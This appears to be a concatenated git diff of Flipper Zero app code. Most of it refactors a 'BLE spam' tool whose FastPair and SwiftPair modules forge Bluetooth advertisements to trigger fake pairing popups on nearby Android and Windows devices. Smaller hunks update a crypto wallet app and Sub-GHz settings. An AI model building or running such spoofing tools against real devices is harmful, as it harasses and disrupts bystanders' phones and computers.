0x92BBBD, // Pixel Buds
0xD446A7, // Sony XM5
// Custom debug popups
0xD99CA1, // Flipper Zero
0x77FF67, // Free Robux
0xAA187F, // Free VBucks
0xDCE9EA, // Rickroll
0x87B25F, // Animated Rickroll
0xF38C02, // Boykisser
0x1448C9, // BLM
0xD5AB33, // Xtreme
0x13B39D, // Talking Sasquach
0xAA1FE1, // ClownMaster
};
model_id = models[rand() % COUNT_OF(models)];
model = models[rand() % models_count].value;
}
uint8_t size = 14;
@@ -54,9 +67,9 @@ void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtoc
packet[i++] = 0x16; // AD Type (Service Data)
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
packet[i++] = 0xFE; // ...
packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID
packet[i++] = (model_id >> 0x08) & 0xFF; // ...
packet[i++] = (model_id >> 0x00) & 0xFF; // ...
packet[i++] = (model >> 0x10) & 0xFF;
packet[i++] = (model >> 0x08) & 0xFF;
packet[i++] = (model >> 0x00) & 0xFF;
packet[i++] = 2; // Size
packet[i++] = 0x0A; // AD Type (Tx Power Level)
@@ -66,8 +79,170 @@ void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtoc
*_packet = packet;
}
const BleSpamProtocol ble_spam_protocol_fastpair = {
enum {
_ConfigExtraStart = ConfigExtraStart,
ConfigModel,
ConfigInfoRequire,
ConfigCOUNT,
};
static void config_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
switch(index) {
case ConfigModel:
scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel);
break;
case ConfigInfoRequire:
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
}
static void model_changed(VariableItem* item) {
FastpairCfg* cfg = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
if(index) {
index--;
cfg->model = models[index].value;
variable_item_set_current_value_text(item, models[index].name);
} else {
cfg->model = 0x000000;
variable_item_set_current_value_text(item, "Random");
}
}
static void fastpair_extra_config(Ctx* ctx) {
FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
VariableItemList* list = ctx->variable_item_list;
VariableItem* item;
size_t value_index;
item = variable_item_list_add(list, "Model Code", models_count + 1, model_changed, cfg);
const char* model_name = NULL;
char model_name_buf[9];
if(cfg->model == 0x000000) {
model_name = "Random";
value_index = 0;
} else {
for(uint8_t i = 0; i < models_count; i++) {
if(cfg->model == models[i].value) {
model_name = models[i].name;
value_index = i + 1;
break;
}
}
if(!model_name) {
snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model);
model_name = model_name_buf;
value_index = models_count + 1;
}
}
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, model_name);
variable_item_list_add(list, "Requires Google services", 0, NULL, NULL);
variable_item_list_set_enter_callback(list, config_callback, ctx);
}
static uint8_t fastpair_config_count(const ProtocolCfg* _cfg) {
UNUSED(_cfg);
return ConfigCOUNT - ConfigExtraStart - 1;
}
const Protocol protocol_fastpair = {
.icon = &I_android,
.get_name = fastpair_get_name,
.make_packet = fastpair_make_packet,
.extra_config = fastpair_extra_config,
.config_count = fastpair_config_count,
};
static void model_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
switch(index) {
case 0:
cfg->model = 0x000000;
scene_manager_previous_scene(ctx->scene_manager);
break;
case models_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom);
break;
default:
cfg->model = models[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager);
break;
}
}
void scene_fastpair_model_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
bool found = false;
submenu_reset(submenu);
submenu_add_item(submenu, "Random", 0, model_callback, ctx);
if(cfg->model == 0x000000) {
found = true;
selected = 0;
}
for(uint8_t i = 0; i < models_count; i++) {
submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx);
if(!found && cfg->model == models[i].value) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx);
if(!found) {
found = true;
selected = models_count + 1;
}
submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_fastpair_model_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_fastpair_model_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void model_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_fastpair_model_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Model Code");
ctx->byte_store[0] = (cfg->model >> 0x10) & 0xFF;
ctx->byte_store[1] = (cfg->model >> 0x08) & 0xFF;
ctx->byte_store[2] = (cfg->model >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_fastpair_model_custom_on_exit(void* _ctx) {
Ctx* ctx = _ctx;
FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
cfg->model =
(ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
}

View File

@@ -5,7 +5,7 @@
// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
typedef struct {
uint32_t model_id;
uint32_t model;
} FastpairCfg;
extern const BleSpamProtocol ble_spam_protocol_fastpair;
extern const Protocol protocol_fastpair;

View File

@@ -0,0 +1,2 @@
ADD_SCENE(fastpair_model, FastpairModel)
ADD_SCENE(fastpair_model_custom, FastpairModelCustom)

View File

@@ -1,21 +1,20 @@
#include "swiftpair.h"
#include "_registry.h"
#include "_protocols.h"
// Hacked together by @Willy-JL and @Spooks4576
// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
const char* swiftpair_get_name(const BleSpamProtocolCfg* _cfg) {
const SwiftpairCfg* cfg = &_cfg->swiftpair;
UNUSED(cfg);
static const char* swiftpair_get_name(const ProtocolCfg* _cfg) {
UNUSED(_cfg);
return "SwiftPair";
}
void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) {
static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
const SwiftpairCfg* cfg = _cfg ? &_cfg->swiftpair : NULL;
const char* display_name;
if(cfg && cfg->display_name[0] != '\0') {
display_name = cfg->display_name;
const char* name;
if(cfg && cfg->name[0] != '\0') {
name = cfg->name;
} else {
const char* names[] = {
"Assquach💦",
@@ -25,11 +24,11 @@ void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProto
"👉👌",
"🔵🦷",
};
display_name = names[rand() % COUNT_OF(names)];
name = names[rand() % COUNT_OF(names)];
}
uint8_t display_name_len = strlen(display_name);
uint8_t name_len = strlen(name);
uint8_t size = 7 + display_name_len;
uint8_t size = 7 + name_len;
uint8_t* packet = malloc(size);
uint8_t i = 0;
@@ -40,15 +39,83 @@ void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProto
packet[i++] = 0x03; // Microsoft Beacon ID
packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
packet[i++] = 0x80; // Reserved RSSI Byte
memcpy(&packet[i], display_name, display_name_len); // Display Name
i += display_name_len;
memcpy(&packet[i], name, name_len);
i += name_len;
*_size = size;
*_packet = packet;
}
const BleSpamProtocol ble_spam_protocol_swiftpair = {
enum {
_ConfigExtraStart = ConfigExtraStart,
ConfigName,
ConfigInfoRequire,
ConfigCOUNT,
};
static void config_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
switch(index) {
case ConfigName:
scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairName);
break;
case ConfigInfoRequire:
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
}
static void swiftpair_extra_config(Ctx* ctx) {
SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair;
VariableItemList* list = ctx->variable_item_list;
VariableItem* item;
item = variable_item_list_add(list, "Display Name", 0, NULL, NULL);
variable_item_set_current_value_text(item, cfg->name[0] != '\0' ? cfg->name : "Random");
variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL);
variable_item_list_set_enter_callback(list, config_callback, ctx);
}
static uint8_t swiftpair_config_count(const ProtocolCfg* _cfg) {
UNUSED(_cfg);
return ConfigCOUNT - ConfigExtraStart - 1;
}
const Protocol protocol_swiftpair = {
.icon = &I_windows,
.get_name = swiftpair_get_name,
.make_packet = swiftpair_make_packet,
.extra_config = swiftpair_extra_config,
.config_count = swiftpair_config_count,
};
static void name_callback(void* _ctx) {
Ctx* ctx = _ctx;
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_swiftpair_name_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair;
TextInput* text_input = ctx->text_input;
text_input_reset(text_input);
text_input_set_header_text(text_input, "Leave empty for random");
text_input_set_result_callback(
text_input, name_callback, ctx, cfg->name, sizeof(cfg->name), true);
text_input_set_minimum_length(text_input, 0);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput);
}
bool scene_swiftpair_name_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_swiftpair_name_on_exit(void* _ctx) {
UNUSED(_ctx);
}

View File

@@ -5,7 +5,7 @@
// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
typedef struct {
char display_name[25];
char name[25];
} SwiftpairCfg;
extern const BleSpamProtocol ble_spam_protocol_swiftpair;
extern const Protocol protocol_swiftpair;

View File

@@ -0,0 +1 @@
ADD_SCENE(swiftpair_name, SwiftpairName)

View File

@@ -0,0 +1,3 @@
ADD_SCENE(main, Main)
ADD_SCENE(config, Config)
#include "../protocols/_scenes.h"

View File

@@ -0,0 +1,30 @@
#include "_setup.h"
// Generate scene on_enter handlers array
#define ADD_SCENE(name, id) scene_##name##_on_enter,
void (*const scene_on_enter_handlers[])(void*) = {
#include "_scenes.h"
};
#undef ADD_SCENE
// Generate scene on_event handlers array
#define ADD_SCENE(name, id) scene_##name##_on_event,
bool (*const scene_on_event_handlers[])(void*, SceneManagerEvent) = {
#include "_scenes.h"
};
#undef ADD_SCENE
// Generate scene on_exit handlers array
#define ADD_SCENE(name, id) scene_##name##_on_exit,
void (*const scene_on_exit_handlers[])(void*) = {
#include "_scenes.h"
};
#undef ADD_SCENE
// Initialize scene handlers configuration structure
const SceneManagerHandlers scene_handlers = {
.on_enter_handlers = scene_on_enter_handlers,
.on_event_handlers = scene_on_event_handlers,
.on_exit_handlers = scene_on_exit_handlers,
.scene_num = SceneCOUNT,
};

View File

@@ -0,0 +1,28 @@
#pragma once
#include <gui/scene_manager.h>
// Generate scene id and total number
#define ADD_SCENE(name, id) Scene##id,
typedef enum {
#include "_scenes.h"
SceneCOUNT,
} Scene;
#undef ADD_SCENE
extern const SceneManagerHandlers scene_handlers;
// Generate scene on_enter handlers declaration
#define ADD_SCENE(name, id) void scene_##name##_on_enter(void*);
#include "_scenes.h"
#undef ADD_SCENE
// Generate scene on_event handlers declaration
#define ADD_SCENE(name, id) bool scene_##name##_on_event(void*, SceneManagerEvent);
#include "_scenes.h"
#undef ADD_SCENE
// Generate scene on_exit handlers declaration
#define ADD_SCENE(name, id) void scene_##name##_on_exit(void*);
#include "_scenes.h"
#undef ADD_SCENE

View File

@@ -0,0 +1,75 @@
#include "../ble_spam.h"
#include "protocols/_protocols.h"
static void _config_bool(VariableItem* item) {
bool* value = variable_item_get_context(item);
*value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, *value ? "ON" : "OFF");
}
static void config_bool(VariableItemList* list, const char* name, bool* value) {
VariableItem* item = variable_item_list_add(list, name, 2, _config_bool, value);
variable_item_set_current_value_index(item, *value);
variable_item_set_current_value_text(item, *value ? "ON" : "OFF");
}
static void config_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
if(!ctx->attack->protocol) {
index--;
} else if(ctx->attack->protocol->config_count) {
uint8_t extra = ctx->attack->protocol->config_count(&ctx->attack->payload.cfg);
if(index > extra) index -= extra;
}
switch(index) {
case ConfigRandomMac:
break;
case ConfigLedIndicator:
break;
case ConfigLockKeyboard:
ctx->lock_keyboard = true;
scene_manager_previous_scene(ctx->scene_manager);
notification_message_block(ctx->notification, &sequence_display_backlight_off);
break;
default:
break;
}
}
void scene_config_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
VariableItemList* list = ctx->variable_item_list;
variable_item_list_reset(list);
variable_item_list_set_header(list, ctx->attack->title);
config_bool(list, "Random MAC", &ctx->attack->payload.random_mac);
variable_item_list_set_enter_callback(list, config_callback, ctx);
if(!ctx->attack->protocol) {
variable_item_list_add(list, "None shall escape the SINK", 0, NULL, NULL);
} else if(ctx->attack->protocol->extra_config) {
ctx->fallback_config_enter = config_callback;
ctx->attack->protocol->extra_config(ctx);
}
config_bool(list, "LED Indicator", &ctx->led_indicator);
variable_item_list_add(list, "Lock Keyboard", 0, NULL, NULL);
variable_item_list_set_selected_item(
list, scene_manager_get_scene_state(ctx->scene_manager, SceneConfig));
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewVariableItemList);
}
bool scene_config_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_config_on_exit(void* _ctx) {
UNUSED(_ctx);
}

View File

@@ -0,0 +1,16 @@
#include "../ble_spam.h"
void scene_main_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewMain);
}
bool scene_main_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_main_on_exit(void* _ctx) {
UNUSED(_ctx);
}

View File

@@ -16,6 +16,6 @@ App(
fap_category="Tools",
fap_author="Struan Clark (xtruan)",
fap_weburl="https://github.com/xtruan/FlipBIP",
fap_version=(1, 13),
fap_version=(1, 14),
fap_description="Crypto wallet for Flipper",
)

View File

@@ -90,6 +90,22 @@ static void text_input_callback(void* context) {
}
}
static void flipbip_scene_renew_dialog_callback(DialogExResult result, void* context) {
FlipBip* app = context;
if(result == DialogExResultRight) {
app->wallet_create(app);
} else {
view_dispatcher_switch_to_view(app->view_dispatcher, FlipBipViewIdMenu);
}
}
static void flipbip_wallet_create(void* context) {
FlipBip* app = context;
furi_assert(app);
scene_manager_set_scene_state(app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New);
scene_manager_next_scene(app->scene_manager, FlipBipSceneScene_1);
}
FlipBip* flipbip_app_alloc() {
FlipBip* app = malloc(sizeof(FlipBip));
app->gui = furi_record_open(RECORD_GUI);
@@ -148,6 +164,17 @@ FlipBip* flipbip_app_alloc() {
view_dispatcher_add_view(
app->view_dispatcher, FlipBipViewIdTextInput, text_input_get_view(app->text_input));
app->wallet_create = flipbip_wallet_create;
app->renew_dialog = dialog_ex_alloc();
dialog_ex_set_result_callback(app->renew_dialog, flipbip_scene_renew_dialog_callback);
dialog_ex_set_context(app->renew_dialog, app);
dialog_ex_set_left_button_text(app->renew_dialog, "No");
dialog_ex_set_right_button_text(app->renew_dialog, "Yes");
dialog_ex_set_header(
app->renew_dialog, "Current wallet\nWill be lost.\nProceed?", 16, 12, AlignLeft, AlignTop);
view_dispatcher_add_view(
app->view_dispatcher, FlipBipViewRenewConfirm, dialog_ex_get_view(app->renew_dialog));
// End Scene Additions
return app;
@@ -168,6 +195,9 @@ void flipbip_app_free(FlipBip* app) {
view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewIdTextInput);
submenu_free(app->submenu);
view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewRenewConfirm);
dialog_ex_free(app->renew_dialog);
view_dispatcher_free(app->view_dispatcher);
furi_record_close(RECORD_GUI);

View File

@@ -9,12 +9,13 @@
#include <gui/view_dispatcher.h>
#include <gui/modules/submenu.h>
#include <gui/scene_manager.h>
#include <gui/modules/dialog_ex.h>
#include <gui/modules/variable_item_list.h>
#include <gui/modules/text_input.h>
#include "scenes/flipbip_scene.h"
#include "views/flipbip_scene_1.h"
#define FLIPBIP_VERSION "v1.13"
#define FLIPBIP_VERSION "v1.14"
#define COIN_BTC 0
#define COIN_DOGE 3
@@ -31,6 +32,7 @@ typedef struct {
SceneManager* scene_manager;
VariableItemList* variable_item_list;
TextInput* text_input;
DialogEx* renew_dialog;
FlipBipScene1* flipbip_scene_1;
char* mnemonic_menu_text;
// Settings options
@@ -45,6 +47,8 @@ typedef struct {
char passphrase_text[TEXT_BUFFER_SIZE];
char import_mnemonic_text[TEXT_BUFFER_SIZE];
char input_text[TEXT_BUFFER_SIZE];
void (*wallet_create)(void* context);
} FlipBip;
typedef enum {
@@ -53,6 +57,7 @@ typedef enum {
FlipBipViewIdScene1,
FlipBipViewIdSettings,
FlipBipViewIdTextInput,
FlipBipViewRenewConfirm,
} FlipBipViewId;
typedef enum {
@@ -86,3 +91,15 @@ typedef enum {
FlipBipStatusSaveError = 12,
FlipBipStatusMnemonicCheckError = 13,
} FlipBipStatus;
typedef enum {
SubmenuIndexScene1BTC = 10,
SubmenuIndexScene1ETH,
SubmenuIndexScene1DOGE,
SubmenuIndexScene1ZEC,
SubmenuIndexScene1New,
SubmenuIndexScene1Renew,
SubmenuIndexScene1Import,
SubmenuIndexSettings,
SubmenuIndexNOP,
} SubmenuIndex;

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@@ -3,18 +3,8 @@
#define FLIPBIP_SUBMENU_TEXT "** FlipBIP wallet " FLIPBIP_VERSION " **"
enum SubmenuIndex {
SubmenuIndexScene1BTC = 10,
SubmenuIndexScene1ETH,
SubmenuIndexScene1DOGE,
SubmenuIndexScene1ZEC,
SubmenuIndexScene1New,
SubmenuIndexScene1Import,
SubmenuIndexSettings,
SubmenuIndexNOP,
};
void flipbip_scene_menu_submenu_callback(void* context, uint32_t index) {
furi_assert(context);
FlipBip* app = context;
view_dispatcher_send_custom_event(app->view_dispatcher, index);
}
@@ -59,7 +49,7 @@ void flipbip_scene_menu_on_enter(void* context) {
submenu_add_item(
app->submenu,
"Regenerate wallet",
SubmenuIndexScene1New,
SubmenuIndexScene1Renew,
flipbip_scene_menu_submenu_callback,
app);
} else {
@@ -130,9 +120,12 @@ bool flipbip_scene_menu_on_event(void* context, SceneManagerEvent event) {
} else if(event.event == SubmenuIndexScene1New) {
app->overwrite_saved_seed = 1;
app->import_from_mnemonic = 0;
scene_manager_set_scene_state(
app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New);
scene_manager_next_scene(app->scene_manager, FlipBipSceneScene_1);
app->wallet_create(app);
return true;
} else if(event.event == SubmenuIndexScene1Renew) {
app->overwrite_saved_seed = 1;
app->import_from_mnemonic = 0;
view_dispatcher_switch_to_view(app->view_dispatcher, FlipBipViewRenewConfirm);
return true;
} else if(event.event == SubmenuIndexScene1Import) {
app->import_from_mnemonic = 1;

View File

@@ -5,19 +5,21 @@
enum SubGhzSettingIndex {
SubGhzSettingIndexFrequency,
SubGhzSettingIndexHopping,
SubGhzSettingIndexModulation,
SubGhzSettingIndexHopping,
SubGhzSettingIndexRAWSound = SubGhzSettingIndexHopping,
SubGhzSettingIndexBinRAW,
SubGhzSettingIndexRAWRSSIThreshold = SubGhzSettingIndexBinRAW,
SubGhzSettingIndexIgnoreStarline,
SubGhzSettingIndexIgnoreCars,
SubGhzSettingIndexIgnoreMagellan,
SubGhzSettingIndexIgnorePrinceton,
SubGhzSettingIndexIgnoreNiceFlorS,
SubGhzSettingIndexIgnoreWeather,
SubGhzSettingIndexIgnoreTPMS,
SubGhzSettingIndexIgnorePrinceton,
SubGhzSettingIndexSound,
SubGhzSettingIndexResetToDefault,
SubGhzSettingIndexLock,
SubGhzSettingIndexRAWThresholdRSSI,
};
#define RAW_THRESHOLD_RSSI_COUNT 11
@@ -467,7 +469,7 @@ void subghz_scene_receiver_config_on_enter(void* context) {
item = variable_item_list_add(
subghz->variable_item_list,
"Ignore NiceFlorS / Nice One",
"Ignore Nice Flor-S / Nice One",
COMBO_BOX_COUNT,
subghz_scene_receiver_config_set_niceflors,
subghz);